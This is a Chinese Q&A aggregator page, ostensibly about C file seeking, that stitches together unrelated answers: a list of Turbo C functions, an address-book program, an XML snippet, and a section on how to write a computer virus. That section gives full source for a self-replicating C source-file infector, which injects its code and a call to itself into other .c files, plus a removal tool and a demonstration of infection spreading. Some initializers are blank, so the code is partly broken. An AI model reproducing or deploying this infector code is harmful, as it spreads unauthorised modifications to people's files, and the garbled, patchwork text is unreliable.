當前位置:首頁 » 編程語言 » c語言fseeki64
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言fseeki64

發布時間: 2023-07-27 22:18:58

⑴ 求c語言的常用函數,詳細一點

C語言的常用庫函數

函數1。absread()讀磁碟絕對扇區函數
函數2。abswrite()寫磁碟絕對扇區函數
函數3。atof()將字元串轉換成浮點數的函數
函數4。atoi()將字元串轉換成整型數的函數
函數5。atol()將字元串轉換成長整型數的函數
函數6。bcd()把一個數轉換成對應的BCD碼的函數
函數7。bdos()
函數8。biosdisk()調用BIOS磁碟驅動程序函數
函數9。biosprint()調用BIOS列印機I/O介面的函數
函數10。calloc()分配內存函數
函數11。ceil()
函數12。cgets()讀字元串函數
函數13。chdir()改變當前目錄的函數
函數14。_chmod()改變文件存取許可權的函數
函數15。chmod()改變文件存取許可權的函數
函數16。clock()
函數17。close()關閉文件函數
函數18。closegraph()關閉圖形函數
函數19。cos()
函數20。ctrlbrk()設置ctrl-break處理程序的函數
函數21。delay()暫停函數
函數22。disable()屏蔽中斷的宏
函數23。enable()開硬體中斷的宏
函數24。exec()載入並運行其它程序的函數族
函數25。farcalloc()從遠堆中分配內存的函數
函數26。farfree()從遠堆中釋放一塊已分配內存的函數
函數27。farmalloc()從遠堆中分配內存的函數
函數28。farrealloc()調整遠堆中已分配塊的函數
函數29。fclose()關閉一個流函數
函數30。fcloseall()關閉打開的流的函數
函數31。feof()檢查文件是否結束的函數
函數32。fgets()從流中讀取一字元串的函數
函數33。findfirst()函數和findnext()函數
函數34。floodfill()填充區域的函數
函數35。floor()
函數36。fnmerge()建立文件路徑函數
函數37。fnsplit()分解完整的路徑名函數
函數38。fopen()打開一個流函數
函數39。FP_OFF()獲取遠地址偏移量的宏
函數40。fprintf()傳送輸出到一個流中的函數
函數41。FP_SEG()獲取遠地址段值的宏
函數42。fscanf()格式化輸入函數
函數43。fseek()移動文件指針函數
函數44。fwrite()把參數寫入流中的函數
函數45。gcvt()把雙精度數轉化成字元串的函數
函數46。geninterrupt()執行中斷函數
函數47。getc()從流中取字元的宏
函數48。getch()從鍵盤無回顯地讀取一字元的函數
函數49。getchar()從stdin流中讀取一個字元的函數
函數50。getcurdir()讀取指定驅動器的當前目錄的函數

函數61。getcwd()讀取當前目錄的函數
函數62。getdate()讀取系統日期函數
函數63。getdfree()讀取磁碟空閑空間的函數
函數64。getdisk()讀取當前磁碟驅動器號函數
函數65。getenv()讀取環境變數的當前值的函數
函數66。getimage()將指定區域的點陣圖象存入內存的函數
函數67。getmaxx()返回屏幕上最大的X坐標值的函數
函數68。getmaxy()返回屏幕上最大的Y坐標值的函數
函數69。getpixel()讀取像素顏色的函數
函數70。getpsp()
函數71。gets()從標准輸入流stdio中讀取一字元串的函數
函數72。gettime()讀取系統時間的函數
函數73。getvect()讀取中斷向量函數
函數74。getx()返回當前圖形方式下位置的X坐標值的函數
函數75。gety()返回當前圖形方式下位置的Y坐標值的函數
函數76。imagesize()返回保存圖像緩沖區大小的函數
函數77。initgraph()顯示模式控制函數(初始化圖形系統函數)
函數78。inport()從埠中讀入一個字的函數
函數79。inportb()從埠讀入一個位元組的函數
函數80。int86()執行中斷函數(調用8086軟中斷函數)
函數81。int86x()執行中斷函數 (通用8086軟中斷介面函數)
函數82。intdos()通用dos中斷介面函數
函數83。intdosx()通用dos中斷介面函數
函數84。intr()執行8086軟中斷函數(改變軟中斷介面函數)
函數85。itoa()把整形數轉換為字元串的函數
函數86。kbhit()檢查當前按下的鍵的函數
函數87。keep()駐留並退出函數
函數88。log()
函數89。log10()
函數90。_lrotl()將一個無符號長整形數左循環移位的函數
函數91。_lrotr()將一個無符號長整形數右循環移位的函數
函數92。lseek()移動文件指針函數
函數93。ltoa()把長整形數轉換為字元串的函數
函數94。malloc()分配內存函數
函數95。mkdir()創建目錄函數
函數96。mktemp()建立一個唯一的文件名的函數
函數97。MK_FP()設置一個遠指針的宏
函數98。movedata()拷貝數據函數
函數99。_open()打開一個文件進行讀寫的函數
函數100。open()打開文件進行讀寫的函數
函數101。outport()輸出一個字到埠中的函數
函數102。outportb()輸出一個位元組到埠中的函數
函數103。outtextxy()在指定位置顯示一字元串的函數
函數104。peek()返回指定內存中字的函數
函數105。peekb()返回指定內存中位元組的函數
函數106。poke()在指定的內存中存儲一個字的函數
函數107。pokeb()在指定的內存中存儲一個位元組的函數
函數108。pow()
函數109。printf()寫格式化輸出到stdout的函數
函數110。putch()向屏幕輸出字元的函數
函數111。putchar()在stdout上輸出字元的宏
函數112。putenv()將字元串放入當前環境中的函數
函數113。putimage()重新寫屏函數(輸出一個點陣圖象到圖形屏幕上的函數)
函數114。putpixel()寫像素點函數
函數115。puts()輸出一字元串到stdout(標准輸出)的函數
函數116。_read()讀文件函數
函數117。read()讀文件函數
函數118。realloc()重新分配內存函數
函數119。rectangle()畫一個矩形的函數
函數120。remove()刪除一個文件的函數
函數121。rename()文件改名函數
函數122。restorecrtmode()恢復屏幕視頻模式為調用initgraph前的設置的函數
函數123。rmdir()刪除目錄函數
函數124。_rotl()將一個無符號整形數左循環移位的函數
函數125。_rotr()將一個無符號整形數右循環移位的函數
函數126。scanf()格式化輸入函數
函數127。searchpath()按dos路徑查找一個文件的函數
函數128。segread()讀段寄存器函數
函數129。setactivepage()設置圖形輸出活動頁的函數
函數130。setcolor()設置當前要畫的線顏色的函數
函數131。setdisk()設置當前驅動器的函數
函數132。setgraphmode()將系統設置成圖形模式並清屏的函數
函數133。setlinestyle()設置當前畫線寬度和類型的函數
函數134。settextstyle()顯示字元的當前設置函數
函數135。setvect()設置中斷向量函數
函數136。setviewport()建立視口的函數
函數137。setvisualpage()設置可見的圖形頁號的函數
函數138。sin()
函數139。sprintf()格式化輸出到數組的函數
函數140。strcat()
函數141。tan()
函數142。_write()寫文件函數
函數143。write()寫文件函數

原文釋義請到網路文庫里搜尋字串「C語言常用函數」後下載
函數51-60因原注里排序號碼少編,所以只有133個常用函數。

DOC大小是119.5KB
貢獻時間:2010-09-10
貢獻者:handanlinzhang

⑵ 怎樣編寫病毒

3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,不進行插入。找出CALL VIRUSES;的插入點:如果有一行有printf、break、for、while語句其中之一,就對其後插入調用VIRUSES函數的調用語句。把病毒子程序寫入文件。最後處理更改被感染的文件名。如果不進行改名,就不能進行多次傳染,也就是說不能體現病毒的自我復制能力。查找一行是static char viruses_f[]=,把其中的文件名改為被感染的文件名。接著查找下一個匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除過程是和傳染過程相逆的。傳染的時候插入調用viruses函數的調用語句,在病毒清除文件裡面就要刪除掉這個語句。然後還要刪除掉病毒子程序VIURSES_SUB和VIURSES。有一個問題不能進行還原。因為當時插入病毒子程序需要的頭文件時沒有記錄傳染前文件的頭文件信息,所以不能進行還原。但是這一點不影響原文件。所以這點在病毒清除程序中沒有進行處理。
由於演示的時候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個目錄下進行演示。考慮到VIRUS.C會把REVIURS.C傳染和REVIRUS.C會把VIRUS.C清除兩種情況。所以編寫這兩個程序的時候必須加入一條條件語句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
當含有清除部分的程序被執行時。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果無此標志,繼續找其它的C文件,直至全部檢查一遍。若有這個標志,則
(1)查找磁碟文件,如果是有病毒的傳染標志「INFECTED」則打開文件。如果沒有則關閉文件並且尋找下一個TEST*.C。
(2)讀取文件,首先判斷是否為Viruses();如果不是則判斷是否為int Viruses_sub(),如果都不是,則把讀取部分放在二維數組a[500][80]中,如果只是為int Viruses_sub(),則讀取文件結束。
(3)關閉文件,然後刪除該文件。
(4)創建一個跟刪除文件相同名字的文件。然後打開。
(5)把二維數組a[500][80]中的數據寫入到新建的文件中。關閉文件,讀取下一個文件。

3.2 程序流程圖
3.2.1 病毒程序VIRUS.C流程圖

N
N
Y Y





Y
N

3.2.2 解毒程序REVIRUS.C流程圖

N

Y




Y

N
Y

N

3.3其中用到的函數和結構體的說明:
(1)結構體struct ffblk (在dir.h中)類型變數
變數ffblk用於打開文件,獲取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name來保存匹配文件名。
(2)結構體struct date(在dos.h中)變數
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
};
程序中用來獲取系統當前日期。具體用法為:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函數和findnext()函數
調用方式:整型數=findfirst(文件名,&結構變數名,屬性常數組合(如0×24));
功能:檢索由path和attr指定的文件,把結果返回到afer。
Findfirst返回關於第一個指定文件的信息。
Findnext繼續檢索。
返回值:0(檢索成功),-1(沒有找到指定的文件)
屬性常數:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只讀
FA_HIDDEN(0*02) 含意:隱含文件
FA_SYSTEM(0*24) 含意:系統文件
需要用到的頭文件: dir.h
程序中的匹配文件屬於普通文件,所以屬性常數為0。
(4)讀文件
函數原形:char *fgets (char *a, int n, FILE *fp);
功能:
從fp指向的文件讀取一個長度為(n-1)的字元串,最後加一個』 \0』,存入始地址為a的空間。
若在讀完n-1個字元之前遇到換行符或EOF,讀入即結束。
返回值:返回地址a。
若遇文件結束或出錯,返回NULL。
(5)在字元串中查找指定字元串的第一次出現
函數原形;
char *strstr(char *str1,char *str2);
功能:找出str2字元串在str1字元串中第一次出現的位置(不包括str2的串結束符)。
返回值:返回該位置的指針。
若找不到,返回NULL指針。
程序中用這個函數來判斷字元串是否一致。
(6)改變文件位置指針
函數原形:int fseek (FILE *fp, long offset, int base);
功能:將fp所指文件的位置指針移到以base所指出的位置為基準、以offset為位移量的位置。
返回值:返回當前位置。否則,返回-1。SEEK_SET為文件開始。
由於讀取文件的時候文件指針要發生變化。而重新執行一條命令的時候需要重新定位文件指針的位置,所以要用到fseek函數。程序中用這個函數定位到文件頭,對文件進行重新讀取。
3.4 程序清單
3.4.1病毒程序VIRUS.C程序清單如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向將被感染的文件,virus_v指向已帶病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*將被傳染的文件讀入a[500][80]臨時存放*/
static char viruses_f[]=;/*文件被傳染後,修改該值為自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(&today); /*病毒顯示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",&ffblk,0); /*查找第一個匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p1=fgets(&a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部讀入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(&a[n_line][0],80,virus_r);
if(n_line>=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&viruses_f[0],"r"); /*打開帶病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i<5;i++) /*讀帶病毒文件前4行並寫入將被傳染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j<n_line;j++) /*把將被傳染文件的原程序寫回原文件*/
{
include_write=1; /*不寫入病毒文件已有的包含語句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0;i<3;i++)
if(strstr(&a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入調用語句,並加上回車換行*/
for(i=0;i<4;i++)
if(strstr(&a[j][0],main_flag[i])!=NULL)
{
for(k=0;k<80;k++)
b[k]=0;
strcpy(&b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&a[j][0],virus_r);
}
p1=fgets(b,80,virus_v); /*把病毒子程序寫入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一條語句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name);
i=strlen(&b[0]);
b[i]=34;
strcpy(&b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(&ffblk);
}
return(4);
}

viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
}
getch();
}

3.4.2病毒清除程序REVIURS.C清單如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",&ffblk,0);
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0;k<500;k++)
for(j=0;j<80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p=fgets(&b[0],80,virus_r);

if(strstr(p,v_flag[0])!=NULL)
{
line=0;
while(p!=NULL)
{
p=fgets(&b[0],80,virus_r);
if(strstr(&b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(&b[0],"viruses();")==NULL)
{
k=strlen(b);
for(j=0;j<k;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
}
}
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*刪除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打開將被感染的文件*/
for(i=0;i<n_line;i++)
{
fputs(&a[i][0],virus_r); /*把二維數組中的數據寫入原文件*/
}
fclose(virus_r);
}
}
}
done=findnext(&ffblk); /*查找下一個匹配文件*/
}

}

4. 計算機病毒的演示
4.1病毒程序VIRUS.C的演示過程
在一張已經格式化的軟盤上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個尚未被感染的C語言程序TEST1.C和TEST2.C。原始代碼分別如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i<100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下鍵入dir命令查看文件信息。

然後編譯連接並執行VIRUS.C文件,運行結果顯示:
Today is 5/20/2004
Successful
說明傳染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已經被傳染,大小從64變成3949。用type命令查看TEST1的內容

可以看到病毒的子程序已經插入了,而且在主函數裡面插入了調用VIRUSES函數語句。而且文件名自動改為「TEST2.C」。(如圖中紅線所示)
然後再把TEST2.C文件編譯連接並運行。成功後,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小從107變成了3969。再用type命令查看,結果如下:

可以看到,文件名稱已經自動改為TEST1.C,而且病毒子程序已經拷貝過來,在這個過程中REVIRUS.C始終沒有被感染,達到了我們的目的。
文件被感染前後內容如下圖所示:

4.2病毒清除程序REVIRUS.C演示過程
然後我們來演示病毒的清除。編譯運行REVIRUS.C後用dir命令查看文件信息。

圖中可以看到TEST1.C和TEST2.C都變小了。雖然沒有還原到以前的大小。這是因為運行病毒子程序需要的頭文件沒有刪除,原因前面已經提及過了。然後用type命令分別查看一下TEST1.C和TEST2.C的內容。

圖中可以看到,除了程序需要用到的頭文件,剩下的已經基本還原。而且沒有清除VIRUS.C裡面的程序,基本達到了清除病毒的目的。演示成功。
從演示過程中可以看出,一旦程序被病毒感染,這個程序經過編譯連接後運行時就能向沒感染上病毒的程序擴散病毒,使病毒在系統中不斷蔓延下去。而病毒清除程序運行一次就可以刪除掉所有的病毒子程序和插入的調用語句。

⑶ c語言常用函數有哪些主要掌握的要點是什麼

標准頭文件包括:
<asset.h> <ctype.h> <errno.h> <float.h>
<limits.h> <locale.h> <math.h> <setjmp.h>
<signal.h> <stdarg.h> <stddef.h> <stdlib.h>
<stdio.h> <string.h> <time.h>
一、標準定義(<stddef.h>)
文件<stddef.h>里包含了標准庫的一些常用定義,無論我們包含哪個標准頭文件,<stddef.h>都會被自動包含進來。
這個文件里定義:
l 類型size_t (sizeof運算符的結果類型,是某個無符號整型);
l 類型ptrdiff_t(兩個指針相減運算的結果類型,是某個有符號整型);
l 類型wchar_t (寬字元類型,是一個整型,其中足以存放本系統所支持的所有本地環境中的字元集的所有編碼值。這里還保證空字元的編碼值為0);
l 符號常量NULL (空指針值);
l 宏offsetor (這是一個帶參數的宏,第一個參數應是一個結構類型,第二個參數應是結構成員名。
offsetor(s,m)求出成員m在結構類型t的變數里的偏移量)。
註:其中有些定義也出現在其他頭文件里(如NULL)。
二、錯誤信息(<errno.h>)
<errno.h>定義了一個int類型的表達式errno,可以看作一個變數,其初始值為0,一些標准庫函數執行中出錯時將它設為非0值,但任何標准庫函數都設置它為0。
<errno.h>里還定義了兩個宏EDOM和ERANGE,都是非0的整數值。數學函數執行中遇到參數錯誤,就會將errno置為EDOM,如出現值域錯誤就會將errno置為ERANGE。
三、輸入輸出函數(<stdio.h>)
文件打開和關閉:
FILE *fopen(const char *filename, const char *mode);
int fclose(FILE * stream);
字元輸入輸出:
int fgetc(FILE *fp);
int fputc(int c, FILE *fp);
getc和putc與這兩個函數類似,但通過宏定義實現。通常有下面定義:
#define getchar() getc(stdin)
#define putchar(c) putc(c, stdout)
int ungetc(int c, FILE* stream);//把字元 c 退迴流 stream
格式化輸入輸出:
int scanf(const char *format, ...);
int printf(const char *format, ...);
int fscanf(FILE *stream, const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int sscanf(char *s, const char *format, ...);
int sprintf(char *s, const char *format, ...);
行式輸入輸出:
char *fgets(char *buffer, int n, FILE *stream);
int fputs(const char *buffer, FILE *stream);
char *gets(char *s);
int puts(const char *s);
直接輸入輸出:
size_t fread(void *pointer, size_t size, size_t num, FILE *stream);
size_t fwrite(const void *pointer, size_t size, size_t num, FILE *stream);

⑷ C語言程序設計:通訊錄程序設計

#include "stdlib.h"
#include "string.h"
#include "conio.h"
#include "stdio.h"
#include "dos.h"
FILE *fp;
int i; //i是全局變數 可代替length
struct address
{ char postnum[10];
char a[40]; //家庭地址
};
struct birthday
{ int year;
int month;
int day;
};
struct ffriend
{ int num; //序號
char name[20];
char sex;
char telephone[13];
struct birthday birthday;
struct address address;

}
friends[50];

void Load()
{
int j;
long k;
fp=fopen("friend.txt","a+"); //打開文件friend.txt
if(fp!=NULL)
{
for(i=1;i<50;i++)

{
j=fgetc(fp);
if(j==EOF) //判斷是否到了文件尾
return;
k=i-1;
fseek(fp,k*sizeof(struct ffriend),SEEK_SET);
fread(&friends[i],sizeof(struct ffriend),1,fp); //從文件中讀取一條記錄
}

}
else
{
fp=fopen("friend.txt","w");
i=1;
}

}
void Show(int j)
{
// friends[j].num=i;
printf("\n\n\t編號-Nnumber: %3d",friends[j].num);
printf("\n\t姓名-Name:%-20s",friends[j].name);
printf("\n\t性別-Sex:%c",friends[j].sex);
printf("\n\t聯系電話-Telephone:%-13s",friends[j].telephone);
printf("\n\t出生日期-Birthday:%4d-%2d-%3d",friends[j].birthday.year,friends[j].birthday.month,friends[j].birthday.day);
printf("\n\t郵編-Postnum:%-10s",friends[j].address.postnum);
printf("\n\t通信地址-address:%-40s",friends[j].address.a);
}
void Append(int j)
{
fflush(stdin); //區內清除文件緩沖區,文件以寫方式打開時將緩沖容寫入文件
//stdin是一個標准FILE*(文件型指針)指向通常是用鍵盤的輸入的輸入流
friends[j].num=j;
printf("\n\t\t\t序號-Number:%d",j);
printf("\n\t\t\t姓名-Name:");
scanf("%s",friends[j].name);
fflush(stdin); //為什麼沒有fflush(stdin); 的效果會自動跳過呢?
printf("\t\t\t性別-Sex(m/w):"); //為什麼輸入漢字男女也會自動跳過聯系電話呢
scanf("%c",&friends[j].sex);
printf("\t\t\t聯系電話-telephone:");
scanf("%s",friends[j].telephone);
printf("\t出生日期-birthday");
printf("\n\t\t\t年份-year:");
scanf("%d",&friends[j].birthday.year);
printf("\t\t\t月份-month:");
scanf("%d",&friends[j].birthday.month);
printf("\t\t\t日-day:");
scanf("%d",&friends[j].birthday.day);
printf("\t\t\t郵編-Postnumber:");
scanf("%s",friends[j].address.postnum);
printf("\t\t\t通信地址-Address:");
scanf("%s",friends[j].address.a);
getchar();
}
void Delete()
{
int k;
printf("\n\tDelete 序號-Number:");
scanf("%d",&k);
if(k<=i)
{
for(int j=k;j<i+1;j++) /*插入位置後的元素順序後移*/
{
strcpy(friends[j].name,friends[j+1].name); /*交換元素內容*/
friends[j].sex=friends[j+1].sex;
strcpy(friends[j].telephone,friends[j+1].telephone);
friends[j].birthday.year=friends[j+1].birthday.year;
friends[j].birthday.month=friends[j+1].birthday.month;
friends[j].birthday.day=friends[j+1].birthday.day;
strcpy(friends[j].address.postnum,friends[j+1].address.postnum);
strcpy(friends[j].address.a,friends[j+1].address.a);

}
i--;
}
else
{
printf("輸入的序號太大!");
}
}
void Modify(int j)
{
Append(j);
}
void Save()
{
int j;
fp=fopen("friend.txt","w");
for(j=1;j<=i;j++)
{
fwrite(&friends[j],sizeof(struct ffriend),1,fp);
}
fclose(fp);

}

void main()
{
int j;
char grade;
char searchname[10];
Load();
i--;
do
{
printf("\t\t\t\t簡易通訊錄\n\n");
printf("功能選擇(Function choose)\n");
printf("\1A.讀取(Read)\n");
printf("\2B.增添(Append)\n");
printf("\6C.插入(Insert)\n");
printf("\5D.刪除(Delete)\n");
printf("\5E.查詢(Search)\n");
printf("\6F.修改(Modify)\n");
printf("\2G.保存(Save)\n");
printf("\1H.退出(Quit)\n");
printf("請選擇(Choice)\n注:輸入A~H的大寫字母\n");
scanf("%c",&grade);
switch(grade)
//加個大寫和小寫 都可以啊
{
case 'A': j=1; //顯示功能
while(getchar()!=0x1b&&j<=i) //增添按Esc鍵退出
{
Show(j++);
printf("\n請按回車鍵繼續!");
}
if(j-1<1)
{
printf("\n\t空文檔,無任何記錄-Empty Note\n");
printf("\n請按回車鍵繼續!");
getchar();

}
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
break;
case 'B': //增加功能
while(i<=50) //增加按ESC鍵退出的功能
{
i++;
Append(i);
printf("\t是否繼續增加?y/n");
//修改 加上else if 其他就跳出或強制列印出出錯
char a=getchar();
if(a=='n'||a=='N')
break;
}
if(i==51)
printf("\n\t文檔已滿,無法增加記錄-note full");
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
getchar();
break;
case 'C':
int k;
printf("\n\t輸入要插入的位置:");
scanf("%d",&k);
j=i+1;
friends[j].num=j;
for(j;j>k;j--) //插入功能
{
strcpy(friends[j].name,friends[j-1].name); //數據後移
friends[j].sex=friends[j-1].sex;
strcpy(friends[j].telephone,friends[j-1].telephone);
friends[j].birthday.year=friends[j-1].birthday.year;
friends[j].birthday.month=friends[j-1].birthday.month;
friends[j].birthday.day=friends[j-1].birthday.day;
strcpy(friends[j].address.postnum,friends[j-1].address.postnum);
strcpy(friends[j].address.a,friends[j-1].address.a);

}
Append(k);
i++;
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
break;
case 'D': //刪除功能 //增添隨意刪除多條記錄的功能
Delete();
if(i<1)
printf("\n沒有記錄-No records\n");
printf("\n請按回車鍵繼續!");
getchar();
getchar();
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
break;
case 'E': //查詢功能
printf("\n\t請輸入要查詢記錄的相關姓名:"); //增添查詢按列號的
scanf("%s",searchname);
for(j=1;j<=i;j++)
{
if(strcmp(searchname,friends[j].name)==0) //比較字元串
{
Show(j);
break;
}
}
if(i<1)
{
printf("\n 沒有您所查詢的記錄-No records");
printf("\n 請按回車鍵繼續!");
getchar();
}
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
getchar();
break;
case 'F': //修改功能 / /增添按序列號查詢
printf("\n\t請輸入要修改記錄的相關姓名:");
gets(searchname);
scanf("%s",searchname);
for(j=1;j<=i;j++)
{
if(strcmp(searchname,friends[j].name)==0) //比較字元串
{
Modify(j);
// getchar(); //加個輸出確定修改嗎
}
}
if(i<1) //修改功能
{ printf("\n 沒有您所要修改的記錄-No records");
printf("\n 請按回車鍵繼續!");
getchar();
getchar();
}
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
break;
case 'G':
Save(); //存檔功能
getchar();
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
break;

case 'H': //退出功能
char x;
printf("是否保存?yes/no\n");
scanf("%s",&x);
//getchar();
// getchar();
if(x=='y')
{
Save();
exit(0);
}
else
exit(0);

default:
printf("\n\t輸入有誤,請輸入正確的序列號!");
printf("\n請按回車鍵繼續!");
getchar();
printf("\n\t\t\t\t\t\t\t此次操作結束");
printf("\n\t------------------------------------------------------------\t\t\n");
}
}while(1);
}

⑸ 用C語言讀取xml文件,怎麼實現

我上次才給人寫過
xml文件內容

<?xmlversion="1.0"encoding="UTF-8"?>
-<aicomoa_response>
-<country_list>
-<country>
<id>7</id>
<pid>0</pid>
<continent_id>1</continent_id>
<guohao>93</guohao>
<cntitle>阿富汗</cntitle>
<entitle>Afghanistan</entitle>
<hztitle>阿富汗</hztitle>
<jptitle>アフガニスタン</jptitle>
<kotitle>??????</kotitle>
<jp_pinyin>ア</jp_pinyin>
<pinyin>AFuHan</pinyin>
<sid>0</sid>
<jibie>1</jibie>
</country>
-<country>
<id>8</id>
<pid>0</pid>
<continent_id>2</continent_id>
<guohao>355</guohao>
<cntitle>阿爾巴尼亞</cntitle>
